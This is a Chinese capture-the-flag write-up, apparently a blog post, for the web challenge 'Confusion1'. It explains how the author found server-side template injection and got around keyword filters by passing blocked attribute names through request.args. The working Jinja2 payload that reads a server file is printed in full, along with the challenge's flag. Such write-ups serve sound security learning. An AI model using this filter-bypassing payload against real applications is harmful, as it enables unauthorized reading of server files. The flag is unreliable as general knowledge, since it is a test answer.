攻防世界-web-Confusion1

1. 题目描述

打开链接,如图

点击Login和Rigister,都报错

但是有提示

指出了flag所在的位置,题目中直接能获取到的信息暂时就这么些了

2. 思路分析

既然告诉了我们flag文件的位置,那么要读取到这个文件,要么是任意文件下载,要么是命令注入。这里没有文件下载的接口,也没看到有任何外部输入,尝试扫描下:

发现存在/cgi-sys相关的借口,但是访问时发现报错:

说明此路不通。

网上查找资料发现题目中图片就给出了提示,可能是SSTI,试一下:

发现确实存在SSTI,那么这道题的思路就明确了:

利用SSTI读取flag文件中的内容

3. 解题过程

既然存在SSTI,我们试试常用的SSTI方法

试了下class,subclass,mro,常用方法都被过滤掉了,看能否找到一个没有被过滤的

request没过滤,那么我们考虑通过request.args的方式进行绕过,将class等被过滤的字符串设置成参数,传递给request.args,比如想要获取class,使用{{""[request.args.a]}}?a=__class__

那么我们现在需要读取文件/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt

正常的SSTI应该是:

{{"".__class__.__mro__[2].__subclasses__[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()}}

利用request.args进行绕过就变成了:

{{""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

使用该请求,成功获取flag

flag为cyberpeace{24bc59019e22a893305a7496e638526f}

4. 总结

这道题考查的是SSTI的绕过(这个考查点的识别需要一定的知识积累)。SSTI也是非常灵活的一种注入方式,绕过方式很多,request算是常见的一种绕过手段,正好积累下经验

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值